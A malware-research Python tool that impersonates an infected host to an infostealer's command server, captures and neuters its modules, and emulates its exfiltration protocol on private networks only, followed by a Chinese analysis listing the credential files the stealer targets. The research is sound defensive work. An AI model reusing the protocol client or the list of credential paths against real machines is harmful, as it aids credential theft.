chunk = self.sock.recv(4096)
if not chunk: raise ConnectionError("peer closed")
self.buf.extend(chunk)
def read_frame(self, timeout=1.0):
self.sock.settimeout(timeout)
try: self._need(2)
except socket.timeout: return None
b0, b1 = self.buf[0], self.buf[1]; fin = bool(b0 & 0x80); opcode = b0 & 0x0F; masked = bool(b1 & 0x80); ln = b1 & 0x7F; pos = 2
if ln == 126: self._need(pos + 2); ln = struct.unpack(">H", self.buf[pos:pos+2])[0]; pos += 2
elif ln == 127: self._need(pos + 8); ln = struct.unpack(">Q", self.buf[pos:pos+8])[0]; pos += 8
mask = b""
if masked: self._need(pos + 4); mask = bytes(self.buf[pos:pos+4]); pos += 4
self._need(pos + ln); payload = bytearray(self.buf[pos:pos+ln]); del self.buf[:pos+ln]
if masked:
for i in range(ln): payload[i] ^= mask[i % 4]
return fin, opcode, bytes(payload)
def read_message(self, timeout=1.0):
while True:
fr = self.read_frame(timeout)
if fr is None: return None
fin, opcode, payload = fr
if opcode in (WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG): return opcode, payload
if opcode in (WS_OP_TEXT, WS_OP_BINARY):
if fin: return opcode, payload
self.frag_opcode = opcode; self.frag_payload = bytearray(payload); continue
if opcode == WS_OP_CONT and self.frag_opcode is not None:
self.frag_payload.extend(payload)
if fin:
op, data = self.frag_opcode, bytes(self.frag_payload); self.frag_opcode = None; self.frag_payload.clear(); return op, data
def websocket_handshake(sock, host, port, log, user_agent):
host_header = host if port == 80 else f"{host}:{port}"
request = (f"GET / HTTP/1.1\r\nHost: {host_header}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {WS_KEY}\r\nSec-WebSocket-Version: 13\r\nUser-Agent: {user_agent}\r\n\r\n").encode("ascii")
sock.sendall(request); sock.settimeout(15); resp = bytearray()
while b"\r\n\r\n" not in resp:
chunk = sock.recv(4096)
if not chunk: raise ConnectionError("peer closed before WebSocket handshake completed")
resp.extend(chunk)
if len(resp) > MAX_HTTP_HEADER: raise ValueError("WebSocket handshake header exceeded safety limit")
head, leftover = bytes(resp).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n"); status = lines[0] if lines else ""; headers = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
log.event("HANDSHAKE", f"Control channel response: {status}", module="c2-406")
if "101" not in status: raise ConnectionError(f"server did not return HTTP 101: {status}")
expected = base64.b64encode(hashlib.sha1((WS_KEY + WS_GUID).encode("ascii")).digest()).decode("ascii")
actual = headers.get("sec-websocket-accept", "")
if actual and actual != expected: raise ConnectionError(f"unexpected Sec-WebSocket-Accept: {actual!r}")
return leftover
# ---------------------------------------------------------------------------
# Module 3: task-triggered TCP/408 module collector
# ---------------------------------------------------------------------------
@dataclass(frozen=True)
class ModuleTask:
task_type: str
task_id: str = ""
version: str = "unknown"
param: str = ""
raw: str = ""
def parse_createtask(text):
parts = [x.strip() for x in text.strip().split(";")]
if len(parts) < 3: return None
if parts[0].lower() == "task" and parts[1].lower() == "createtask": i = 2
elif parts[0].lower() == "createtask": i = 1
else: return None
task_type = ""; fields = {"task_id": "", "version": "unknown", "param": ""}
if i < len(parts) and parts[i].lower() not in {"task_id", "version", "param", "type"}: task_type = parts[i]; i += 1
while i < len(parts):
key = parts[i].lower()
if key == "type" and i + 1 < len(parts): task_type = parts[i+1]; i += 2
elif key in fields and i + 1 < len(parts): fields[key] = parts[i+1]; i += 2
else: i += 1
if not task_type: return None
return ModuleTask(task_type, fields["task_id"], fields["version"] or "unknown", fields["param"], text)
def minimal_pe_meta(raw):
meta = {"pe_like": False}
if len(raw) < 0x40 or raw[:2] != b"MZ": return meta
try: e = struct.unpack_from("<I", raw, 0x3C)[0]
except struct.error: return meta
meta["e_lfanew"] = e
if e < 0x40 or e + 26 > len(raw) or raw[e:e+4] != b"PE\x00\x00": return meta
machine, sections, ts = struct.unpack_from("<HHI", raw, e+4); opt_size = struct.unpack_from("<H", raw, e+20)[0]; magic = struct.unpack_from("<H", raw, e+24)[0]
meta.update(pe_like=True, machine=f"0x{machine:04x}", number_of_sections=sections, coff_timestamp=ts, optional_header_size=opt_size, optional_magic=f"0x{magic:04x}")
opt = e + 24
if magic in (0x10B, 0x20B) and opt + 0x3C <= len(raw):
meta["entrypoint_rva"] = f"0x{struct.unpack_from('<I', raw, opt+0x10)[0]:x}"; meta["size_of_image"] = struct.unpack_from("<I", raw, opt+0x38)[0]
return meta
def neuter_pe(raw, pe_meta):
patches = []; e = pe_meta.get("e_lfanew")
if len(raw) >= 2: raw[:2] = b"NZ"; patches.append("MZ signature changed to NZ")
if isinstance(e, int) and 0 <= e <= len(raw)-4:
raw[e:e+4] = b"\x00"*4; patches.append("PE signature zeroed")
if e+6 <= len(raw): raw[e+4:e+6] = b"\x00"*2; patches.append("COFF Machine zeroed")
if e+26 <= len(raw): raw[e+24:e+26] = b"\x00"*2; patches.append("Optional Header magic zeroed")
if len(raw) >= 0x40: raw[0x3C:0x40] = b"\x00"*4; patches.append("e_lfanew zeroed")
return patches
def fetch_task_module_http(host, port, task_type, checkin_id, timeout, max_bytes, log):
if not safe_component(task_type): raise ValueError("task type contains unsafe characters")
if not safe_component(checkin_id, 32): raise ValueError("check-in ID contains unsafe characters")
req = (f"GET /task/{task_type} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {checkin_id}\r\nConnection: close\r\n\r\n").encode("ascii")
log.event("MODULE-GET", f"GET {host}:{port}/task/{task_type} User-Agent={checkin_id}", module="c2-408")
with socket.create_connection((host, port), timeout=timeout) as sk:
sk.settimeout(timeout); sk.sendall(req); buf = bytearray()
while b"\r\n\r\n" not in buf:
chunk = sk.recv(4096)
if not chunk: break
buf.extend(chunk)
if len(buf) > MAX_HTTP_HEADER: raise ValueError("HTTP response header exceeded safety limit")
if b"\r\n\r\n" not in buf: raise ValueError("incomplete HTTP response")
head, first = bytes(buf).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n")
try: status = int(lines[0].split()[1])
except (IndexError, ValueError): raise ValueError(f"invalid HTTP status line: {lines[0]!r}")
headers = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
if status != 200: raise ValueError(f"module endpoint returned HTTP {status}")
body = bytearray(first); expected = None
if "content-length" in headers:
expected = int(headers["content-length"])
if expected <= 0 or expected > max_bytes: raise ValueError(f"Content-Length outside safety limit: {expected}")
while True:
if len(body) > max_bytes: raise ValueError(f"module exceeded maximum allowed size ({max_bytes} bytes)")
if expected is not None and len(body) >= expected: del body[expected:]; break
chunk = sk.recv(min(65536, max_bytes + 1 - len(body)))
if not chunk: break
body.extend(chunk)
if expected is not None and len(body) != expected: raise ValueError(f"short HTTP body: {len(body)}/{expected}")
if not body: raise ValueError("empty module body")
return headers, body
class ModuleCaptureManager:
def __init__(self, args, log): self.args, self.log, self.seen = args, log, set()
def capture(self, task, profile):
allowed = self.args.capture_type or ["Stealer"]
if task.task_type.lower() not in {x.lower() for x in allowed}:
self.log.event("MODULE-SKIP", f"Task type {task.task_type!r} is not in allowlist {allowed}", module="c2-408"); return
key = (profile.checkin_id.lower(), task.task_type.lower(), task.version.lower(), task.task_id.lower())
if key in self.seen: self.log.event("MODULE-SKIP", "Duplicate module task already processed", module="c2-408"); return
self.seen.add(key); raw = None
try:
host = self.args.task_host or self.args.c2_host
headers, raw = fetch_task_module_http(host, self.args.task_port, task.task_type, profile.checkin_id, self.args.task_timeout, self.args.max_module_bytes, self.log)
orig_size, orig_sha, pe = len(raw), sha256_bytes(raw), minimal_pe_meta(raw)
if not pe.get("pe_like"):
self.log.event("MODULE-SAFE", f"408 returned {orig_size} bytes sha256={orig_sha}, but body is not a valid PE; nothing written", module="c2-408"); return
patches = neuter_pe(raw, pe); qsha = sha256_bytes(raw); outdir = Path(self.args.capture_dir); outdir.mkdir(parents=True, exist_ok=True)
try: os.chmod(outdir, 0o700)
except OSError: pass
ver = task.version if safe_component(task.version, 32) else "unknown"; tid = task.task_id if safe_component(task.task_id, 64) else "noid"; ttype = task.task_type if safe_component(task.task_type) else "module"
base = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_synthetic_{ttype}_{ver}_{tid}_{orig_sha[:12]}"
dp, mp = outdir/(base+".quarantine.bin"), outdir/(base+".metadata.json")
fd = os.open(dp, os.O_WRONLY|os.O_CREAT|os.O_EXCL, 0o600)
with os.fdopen(fd, "wb") as fp: fp.write(raw); fp.flush()
read_only(dp)
rec = {"capture_time_utc": Logger.iso(), "task": asdict(task), "synthetic_checkin_id": profile.checkin_id, "control_channel": {"host": self.args.c2_host, "port": self.args.control_port}, "task_channel": {"host": host, "port": self.args.task_port, "path": f"/task/{task.task_type}", "user_agent": profile.checkin_id, "response_headers": headers}, "original_in_memory_only": {"size": orig_size, "sha256": orig_sha, "pe": pe}, "quarantine": {"file": dp.name, "sha256": qsha, "patches": patches, "original_header_bytes_preserved": False}, "safety": "Original PE bytes were never written to disk; executable-identifying fields were destroyed before disk I/O."}
with open(mp, "x", encoding="utf-8") as fp: json.dump(rec, fp, ensure_ascii=False, indent=2)
read_only(mp)
self.log.event("MODULE", f"Captured and neutered {task.task_type} {ver}: {dp} original_size={orig_size} original_sha256={orig_sha}", module="c2-408")
except Exception as exc:
self.log.event("MODULE-ERR", f"Module collection failed: {exc}", module="c2-408", task=asdict(task))
finally:
if raw is not None:
for i in range(len(raw)): raw[i] = 0
def classify_control_message(text):
t = text.strip().lower()
if t.startswith("ping"): return "PING"
if t.startswith("pong"): return "PONG"
if t.startswith("getinfo"): return "GETINFO"
if t.startswith("checkserver"): return "CHECKSERVER"
if t.startswith("task;") or t.startswith("createtask"): return "TASK"
if t.startswith("closetask"): return "CLOSETASK"
if t.startswith("update"): return "UPDATE"
if t.startswith("task_done;"): return "TASK_DONE"
return "UNCLASSIFIED"
def run_honeypot(args, profile, log):
checkin, info = profile.checkin_message(), profile.info_message()
log.event("PROFILE", f"Synthetic C2 victim: id={profile.checkin_id} user={profile.username} os={profile.os_version!r} av={profile.av_product!r}", module="c2-406", profile=asdict(profile))
if args.dry_run:
log.event("DRYRUN", f"Would connect to {args.c2_host}:{args.control_port}/WebSocket", module="c2-406")
log.event("DRYRUN", f"Would send: {checkin!r}", module="c2-406")
log.event("DRYRUN", f"Would answer getinfo with: {info!r}", module="c2-406")
if args.capture_modules: log.event("DRYRUN", f"Allowlisted createtask events would trigger TCP/408 retrieval from {args.task_host or args.c2_host}:{args.task_port}", module="c2-408")
return
manager = ModuleCaptureManager(args, log) if args.capture_modules else None; deadline = None if args.observe <= 0 else time.time() + args.observe
with socket.create_connection((args.c2_host, args.control_port), timeout=args.connect_timeout) as sock:
reader = WSReader(sock, websocket_handshake(sock, args.c2_host, args.control_port, log, args.c2_user_agent))
sock.sendall(ws_encode(checkin.encode())); log.event("SEND", f"Registered synthetic victim: {checkin!r}", module="c2-406")
while True:
if deadline is not None and time.time() >= deadline: log.event("INFO", f"Observation window ended after {args.observe:.1f} seconds", module="c2-406"); break
msg = reader.read_message(timeout=1.0)
if msg is None: continue
opcode, payload = msg
if opcode == WS_OP_CLOSE: log.event("RECV", "Server sent WebSocket CLOSE", module="c2-406"); break
if opcode == WS_OP_PING: sock.sendall(ws_encode(payload, opcode=WS_OP_PONG)); log.event("SEND", "Replied to WebSocket PING with PONG", module="c2-406"); continue
if opcode == WS_OP_PONG: log.event("RECV", "Received WebSocket PONG", module="c2-406"); continue
text = payload.decode("utf-8", errors="replace"); kind = classify_control_message(text)
log.event("RECV", f"C2 command [{kind}]: {text!r}", module="c2-406", command=text, classification=kind, raw_sha256=sha256_bytes(payload))
low = text.strip().lower()
if low.startswith("getinfo") and not args.no_getinfo_response:
sock.sendall(ws_encode(info.encode())); log.event("SEND", f"Sent synthetic victim information: {info!r}", module="c2-406")
elif low.startswith("ping"):
sock.sendall(ws_encode(b"pong")); log.event("SEND", "Sent application-layer pong", module="c2-406")
task = parse_createtask(text)
if task:
log.event("TASK", f"Observed createtask: type={task.task_type!r} id={task.task_id!r} version={task.version!r}", module="c2-406", task=asdict(task))
if manager: manager.capture(task, profile)
else: log.event("MODULE-OFF", f"Task {task.task_type!r} recorded; TCP/408 collection is disabled", module="c2-408")
# Intentionally: no task execution and no task_done response.
try: sock.sendall(ws_encode(b"", opcode=WS_OP_CLOSE))
except OSError: pass
# ---------------------------------------------------------------------------
# Module 4: controlled TCP/1488 Stealer exfiltration protocol lab
# ---------------------------------------------------------------------------
def resolve_controlled_target(host):
infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM); addrs = []
for info in infos:
addr = info[4][0]
if addr not in addrs: addrs.append(addr)
if not addrs: raise ValueError("target did not resolve")
bad = [a for a in addrs if not (ipaddress.ip_address(a).is_loopback or ipaddress.ip_address(a).is_private or ipaddress.ip_address(a).is_link_local)]
if bad: raise ValueError("1488 safety policy blocks public destinations. Use a loopback/private sinkhole or lab receiver. Rejected: " + ", ".join(bad))
return addrs
def safe_archive_name(name):
name = name.replace("\\", "/").strip(); p = PurePosixPath(name)
if not name or "\x00" in name or len(name) > 240 or p.is_absolute() or ".." in p.parts or ":" in name: raise ValueError(f"unsafe archive entry path: {name!r}")
return str(p)
def deterministic_synthetic_bytes(label, size):
if size < 0 or size > MAX_EXFIL_ENTRY: raise ValueError(f"synthetic entry size must be 0..{MAX_EXFIL_ENTRY}")
seed = hashlib.sha256(("GENESIS-LAB:" + label).encode()).digest(); return (seed * ((size + len(seed)-1)//len(seed)))[:size] if size else b""
def parse_synthetic_entries(text_specs, byte_specs):
entries = []
for spec in text_specs:
if "=" not in spec: raise ValueError(f"--entry requires NAME=TEXT, got {spec!r}")
name, text = spec.split("=", 1); name = safe_archive_name(name); data = text.encode()
if len(data) > MAX_EXFIL_ENTRY: raise ValueError(f"entry {name!r} is too large")
entries.append((name, data))
for spec in byte_specs:
if "=" not in spec: raise ValueError(f"--entry-bytes requires NAME=SIZE, got {spec!r}")
name, size_s = spec.rsplit("=", 1); name = safe_archive_name(name); entries.append((name, deterministic_synthetic_bytes(name, int(size_s, 0))))
if not entries:
entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true,"token":"SYNTHETIC_NOT_A_REAL_TOKEN"}\n'), ("Applications/Minecraft/launcher_accounts.json", b'{"lab":true,"account":"SYNTHETIC_ONLY"}\n'), ("LAB_README.txt", b"GENESIS-SU / REDHIVE 1488 PROTOCOL LAB - SYNTHETIC DATA ONLY\n")]
if len(entries) > MAX_EXFIL_ENTRIES: raise ValueError(f"too many entries (max {MAX_EXFIL_ENTRIES})")
if len({n for n,_ in entries}) != len(entries): raise ValueError("duplicate archive entry name")
return entries
def build_synthetic_zip(entries):
bio = io.BytesIO()
with zipfile.ZipFile(bio, "w", compression=zipfile.ZIP_DEFLATED) as zf:
for name, data in entries:
zi = zipfile.ZipInfo(safe_archive_name(name)); zi.date_time = (2026,1,1,0,0,0); zi.compress_type = zipfile.ZIP_DEFLATED; zi.external_attr = 0o100600 << 16; zf.writestr(zi, data)
blob = bio.getvalue()
if len(blob) > MAX_EXFIL_ARCHIVE: raise ValueError(f"archive exceeds {MAX_EXFIL_ARCHIVE} bytes")
return blob
def zip_manifest(blob):
with zipfile.ZipFile(io.BytesIO(blob), "r") as zf:
return [{"name": i.filename, "uncompressed_size": i.file_size, "compressed_size": i.compress_size, "crc32": f"{i.CRC:08x}"} for i in zf.infolist()]
def recv_exact(sock, n):
out = bytearray()
while len(out) < n:
chunk = sock.recv(n-len(out))
if not chunk: raise ConnectionError(f"peer closed after {len(out)}/{n} bytes")
out.extend(chunk)
return bytes(out)
def recv_line(sock, limit=128):
out = bytearray()
while len(out) < limit:
b = sock.recv(1)
if not b: raise ConnectionError("peer closed before newline")
out.extend(b)
if b == b"\n": return bytes(out)
raise ValueError("identity line exceeded limit")
def receive_auth(sock, mode, timeout):
sock.settimeout(timeout)
if mode == "malware":
data = sock.recv(0x100)
if AUTH_MARKER not in data: raise RuntimeError(f"single-recv auth check failed; received={data!r}")
return data
buf = bytearray(); deadline = time.monotonic() + timeout
while time.monotonic() < deadline and len(buf) < 4096:
try: chunk = sock.recv(0x100)
except socket.timeout: break
if not chunk: break
buf.extend(chunk)
if AUTH_MARKER in buf: return bytes(buf)
raise RuntimeError(f"auth marker not observed; received={bytes(buf)!r}")
def run_exfil_server(args, log):
resolve_controlled_target(args.bind)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); srv.bind((args.bind, args.exfil_port)); srv.listen(5)
log.event("LISTEN", f"1488 lab receiver listening on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
for txn in range(1, args.transactions+1):
conn, peer = srv.accept()
with conn:
conn.settimeout(args.exfil_timeout); ident = recv_line(conn); text = ident.decode("ascii", errors="replace").rstrip("\n")
log.event("EXFIL-ID", f"Transaction {txn}: identity={text!r} from {peer[0]}", module="c2-1488-lab")
if not re.fullmatch(r"stealer;[0-9A-Fa-f]{1,16}", text): raise ValueError(f"unexpected identity line: {text!r}")
if args.auth_split and 0 < args.auth_split < len(AUTH_MARKER): conn.sendall(AUTH_MARKER[:args.auth_split]); time.sleep(args.auth_delay); conn.sendall(AUTH_MARKER[args.auth_split:])
else: conn.sendall(AUTH_MARKER)
declared = struct.unpack(">Q", recv_exact(conn, 8))[0]
if declared > args.max_archive: raise ValueError(f"declared archive length {declared} exceeds limit")
archive = recv_exact(conn, declared); manifest = zip_manifest(archive)
log.event("EXFIL-ZIP", f"Transaction {txn}: synthetic ZIP bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(manifest)}", module="c2-1488-lab", entries=manifest)
def run_exfil_client(args, profile, log):
resolve_controlled_target(args.exfil_host); entries = parse_synthetic_entries(args.entry, args.entry_bytes); batches = [entries] if args.layout == "batch" else [[e] for e in entries]
for idx, batch in enumerate(batches, 1):
archive = build_synthetic_zip(batch); ident = f"stealer;{profile.checkin_id}\n".encode("ascii"); wire_len = struct.pack(">Q", len(archive))
if args.dry_run:
log.event("DRYRUN", f"1488 transaction {idx}: target={args.exfil_host}:{args.exfil_port} identity={ident!r} archive_bytes={len(archive)} length_wire={wire_len.hex()}", module="c2-1488-lab", manifest=zip_manifest(archive)); continue
with socket.create_connection((args.exfil_host, args.exfil_port), timeout=args.exfil_timeout) as sock:
sock.settimeout(args.exfil_timeout); sock.sendall(ident); ack = receive_auth(sock, args.ack_mode, args.exfil_timeout); sock.sendall(wire_len); sock.sendall(archive)
try: sock.shutdown(socket.SHUT_WR)
except OSError: pass
log.event("EXFIL", f"Sent synthetic 1488 transaction {idx}: bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(batch)}", module="c2-1488-lab", ack_hex=ack.hex(), length_wire_hex=wire_len.hex(), entries=zip_manifest(archive))
def run_exfil_selftest(log):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener.bind(("127.0.0.1", 0)); listener.listen(1); port = listener.getsockname()[1]; result = {}
def srv():
try:
conn,_ = listener.accept()
with conn:
result["identity"] = recv_line(conn).decode().rstrip(); conn.sendall(AUTH_MARKER); n = struct.unpack(">Q", recv_exact(conn,8))[0]; body = recv_exact(conn,n); result["length"] = n; result["sha256"] = sha256_bytes(body); result["manifest"] = zip_manifest(body)
finally: listener.close()
t = threading.Thread(target=srv, daemon=True); t.start(); entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true}\n'), ("Applications/Minecraft/test.txt", b"SYNTHETIC\n")]; archive = build_synthetic_zip(entries)
with socket.create_connection(("127.0.0.1", port), timeout=3) as sock:
sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 3); sock.sendall(struct.pack(">Q", len(archive))); sock.sendall(archive)
t.join(3)
assert result["length"] == len(archive) and result["sha256"] == sha256_bytes(archive) and [x["name"] for x in result["manifest"]] == [x[0] for x in entries]
# Reproduce fragmented auth weakness.
listener2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener2.bind(("127.0.0.1", 0)); listener2.listen(1); port2 = listener2.getsockname()[1]
def srv2():
try:
conn,_ = listener2.accept()
with conn: recv_line(conn); conn.sendall(b"aut"); time.sleep(0.15); conn.sendall(b"h_ok")
finally: listener2.close()
t2 = threading.Thread(target=srv2, daemon=True); t2.start(); failed = False
try:
with socket.create_connection(("127.0.0.1", port2), timeout=2) as sock: sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 1)
except RuntimeError: failed = True
t2.join(2); assert failed
log.event("SELFTEST", "1488 loopback protocol self-test passed", module="c2-1488-lab", batch_zip_single_transaction=True, archive_entry_names_preserved=True, length_field="8-byte big-endian ZIP byte count", fragmented_auth_breaks_single_recv=True, external_network_calls=0)
# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
def add_common(p):
p.add_argument("--logfile", default=None, help="append structured JSONL evidence")
p.add_argument("--dry-run", action="store_true", help="print intended actions without networking")
def add_profile(p):
p.add_argument("--hostname", default="", help="synthetic computer name")
p.add_argument("--user", default="", help="synthetic username")
p.add_argument("--os", dest="os_version", default="", help="synthetic Windows version")
p.add_argument("--av", default="", help="synthetic antivirus product")
p.add_argument("--id", default="", help="synthetic 8-hex check-in ID")
p.add_argument("--botid", default=CAMPAIGN_ID, help="observed campaign ID")
p.add_argument("--country", default="", help="synthetic two-letter country code")
def add_delivery(p):
p.add_argument("--delivery-base", default=DEFAULT_DELIVERY_BASE)
p.add_argument("--staging-ua", default=DEFAULT_STAGING_UA)
p.add_argument("--delivery-timeout", type=float, default=15.0)
p.add_argument("--screen-width", type=int, default=960)
p.add_argument("--screen-height", type=int, default=540)
p.add_argument("--insecure-tls", action="store_true", help="disable TLS certificate verification")
def add_c2(p):
p.add_argument("--c2-host", default=DEFAULT_C2_HOST)
p.add_argument("--control-port", type=int, default=DEFAULT_CONTROL_PORT)
p.add_argument("--observe", type=float, default=120.0, help="observation seconds; <=0 means no fixed deadline")
p.add_argument("--connect-timeout", type=float, default=15.0)
p.add_argument("--c2-user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
p.add_argument("--no-getinfo-response", action="store_true")
p.add_argument("--capture-modules", action="store_true", help="enable task-triggered TCP/408 module collection")
p.add_argument("--task-host", default="", help="task host; defaults to --c2-host")
p.add_argument("--task-port", type=int, default=DEFAULT_TASK_PORT)
p.add_argument("--capture-type", action="append", default=None, metavar="TYPE", help="allowlisted module type; repeatable; default Stealer")
p.add_argument("--capture-dir", default="captured_modules")
p.add_argument("--task-timeout", type=float, default=12.0)
p.add_argument("--max-module-bytes", type=int, default=MAX_MODULE_BYTES)
def build_parser():
p = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="Genesis-SU synthetic victim research suite\n\nAll victim data is synthetic. Remote commands/responses are recorded only and never executed.")
sub = p.add_subparsers(dest="command", required=True)
x = sub.add_parser("delivery", help="synthetic delivery/staging callbacks and fake screenshot upload"); add_common(x); add_profile(x); add_delivery(x)
x = sub.add_parser("honeypot", help="register a synthetic victim on TCP/406; optionally collect allowlisted 408 modules"); add_common(x); add_profile(x); add_c2(x)
x = sub.add_parser("workflow", help="delivery -> TCP/406 -> optional task-triggered TCP/408 using one synthetic identity"); add_common(x); add_profile(x); add_delivery(x); add_c2(x)
x = sub.add_parser("exfil-server", help="controlled TCP/1488 laboratory receiver"); add_common(x); x.add_argument("--bind", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--transactions", type=int, default=1); x.add_argument("--auth-split", type=int, default=0); x.add_argument("--auth-delay", type=float, default=0.05); x.add_argument("--exfil-timeout", type=float, default=5.0); x.add_argument("--max-archive", type=int, default=MAX_EXFIL_ARCHIVE)
x = sub.add_parser("exfil-client", help="send a synthetic ZIP to a controlled/private TCP/1488 receiver"); add_common(x); add_profile(x); x.add_argument("--exfil-host", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--entry", action="append", default=[], metavar="NAME=TEXT"); x.add_argument("--entry-bytes", action="append", default=[], metavar="NAME=SIZE"); x.add_argument("--layout", choices=["batch","single"], default="batch"); x.add_argument("--ack-mode", choices=["malware","robust"], default="malware"); x.add_argument("--exfil-timeout", type=float, default=5.0)
x = sub.add_parser("exfil-selftest", help="run all TCP/1488 assertions on loopback only"); add_common(x)
return p
def validate(args):
for name in ("control_port", "task_port", "exfil_port"):
if hasattr(args, name) and not (1 <= getattr(args, name) <= 65535): raise SystemExit(f"--{name.replace('_','-')} must be 1..65535")
if hasattr(args, "max_module_bytes") and not (512 <= args.max_module_bytes <= MAX_MODULE_BYTES): raise SystemExit(f"--max-module-bytes must be 512..{MAX_MODULE_BYTES}")
if hasattr(args, "transactions") and not (1 <= args.transactions <= 64): raise SystemExit("--transactions must be 1..64")
if hasattr(args, "country") and args.country and not re.fullmatch(r"[A-Za-z]{2}", args.country): raise SystemExit("--country must be a two-letter code")
if hasattr(args, "id") and args.id and not re.fullmatch(r"[0-9A-Fa-f]{8}", args.id): raise SystemExit("--id must be exactly 8 hexadecimal characters")
def main():
args = build_parser().parse_args(); validate(args); log = Logger(args.logfile)
try:
if args.command == "delivery": delivery_cycle(args, build_profile(args), log)
elif args.command == "honeypot": run_honeypot(args, build_profile(args), log)
elif args.command == "workflow":
profile = build_profile(args); log.event("INFO", "Starting integrated workflow: delivery -> TCP/406" + (" -> task-triggered TCP/408" if args.capture_modules else ""), module="workflow"); delivery_cycle(args, profile, log); run_honeypot(args, profile, log)
elif args.command == "exfil-server":
if args.dry_run: resolve_controlled_target(args.bind); log.event("DRYRUN", f"Would listen on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
else: run_exfil_server(args, log)
elif args.command == "exfil-client": run_exfil_client(args, build_profile(args), log)
elif args.command == "exfil-selftest": run_exfil_selftest(log)
return 0
except KeyboardInterrupt: log.event("STOP", "Interrupted by user"); return 130
except Exception as exc: log.event("ERROR", f"{type(exc).__name__}: {exc}"); return 1
finally: log.close()
if __name__ == "__main__":
raise SystemExit(main())
从产品名一路追到真实收集路径
第二个模块第一眼就和前一个很不一样,它的任务不是常驻下来等命令,而是塞满了针对具体应用的收集逻辑。顺着这些逻辑继续往下看,而不是只停留在产品名称上,就会看到具体的路径、文件读取、数据库处理、密钥处理和压缩包条目。浏览器是一个主要目标,但收集范围远不止于此:消息应用、Steam、游戏启动器、钱包和浏览器扩展、VPN 与远程访问配置、截图、剪贴板内容、主机信息,以及普通用户文件都在其中。
其中 AI 工具相关分支和我的事件尤其相关,因为事后有多个 AI 产品出现了可疑账号活动。这个信息窃取器针对当前用户 Profile 下的 Claude Code、Codex 和 Gemini 本地数据,都实现了专门的收集器:
%USERPROFILE%\.claude\settings.json
%USERPROFILE%\.codex\auth.json
%USERPROFILE%\.codex\config.toml
%USERPROFILE%\.gemini\oauth_creds.json
%USERPROFILE%\.gemini\google_accounts.json
代码会构造这些路径、检查文件、读取可用内容,然后交给归档逻辑,放到类似 Applications/Ai/Codex/ 和 Applications/Ai/Gemini/ 这样的应用专属目录下。Claude 分支更窄,只针对 settings.json;Codex 和 Gemini 则直接盯上了认证和账号相关文件。换句话说,这个版本并不需要完全依赖浏览器 Cookie,照样可以拿到有价值的 AI 工具状态。这和事件本身的吻合度,比我早期那句很泛化的“可能是浏览器会话”高得多。它说明 AI 开发工具本身已经成了第一类收集目标。
浏览器收集器则沿着熟悉的 Chromium 和 Firefox 痕迹走。Chromium 相关路径包括 Cookies、Login Data、Login Data For Account、Web Data 和 Local State,密钥材料还有单独处理。Firefox 走自己的路径和 NSS 相关处理。数据库和密钥被分开处理这一点很重要。被偷走的 Login Data 数据库,并不自动等于“一份装满明文密码的文件”;但如果同时拿到了匹配的密钥材料,它依然很有价值。同理,被复制的 Cookie 和会话状态,有时甚至比密码更能立刻派上用场。DLL的实现并不完美。一些 SQLite 副本可能漏掉最近仍在 WAL 里的记录,部分 app-bound key 解析相当脆弱,还有几条错误处理路径,让这个信息窃取器的实际可靠性没有它的目标列表看起来那么高。这些弱点主要影响的是完整性,并不会改变一个基本事实:恶意软件知道这些数据在哪里,而且确实在尝试收集。
消息和游戏应用也是同样的模式。Telegram 对桌面端和 Web 会话材料有专门处理;Steam 有 Token 和 Cookie 相关路径;Discord 同时覆盖浏览器和桌面端数据,包括加密 Token 及对应的密钥处理。
MinecraftGrab 分支则盯上了 Intent、Lunar、TLauncher、Feather、Meteor 等启动器和客户端相关的账号配置。真正有意思的目标,不是谁辛辛苦苦搭出来的 Minecraft 城堡,而是启动器周围的账号状态。
钱包和浏览器扩展又是另一大类目标,除此之外还有 VPN 客户端、FileZilla、AnyDesk、Ngrok、OBS 相关数据、截图、剪贴板内容、主机信息,以及对常见文档和图片的一轮通用扫描。模式非常统一:找到位置可预测的本地状态,能拿什么就拿什么,然后全部塞进同一个结果归档。
把这些东西放在一起看,Stealer 这个名字甚至显得有点过于简单,并不存在一个单一动作叫“窃取凭据”;真正发生的是很多更细碎的收集决策:复制数据库、恢复密钥、保留会话、读取配置文件、截一张图,或者把一份普通文档也顺手加进压缩包。
这个信息窃取器到底是偷什么的
在继续追踪模块把数据发到哪里之前,先停下来看看完整的收集面很有必要。到了这一步,这个信息窃取器已经完全不像“浏览器密码抓取器顺便多几个功能”,而是一个面向可复用访问、本地应用状态,以及感染主机上任何可能值得拿走材料的广泛收集器。
| 领域 | 捕获模块中识别出的例子 | 收集器在找什么 |
|---|---|---|
| AI 开发工具 | Claude Code、Codex、Gemini | 本地设置、认证文件、账号元数据和配置 |
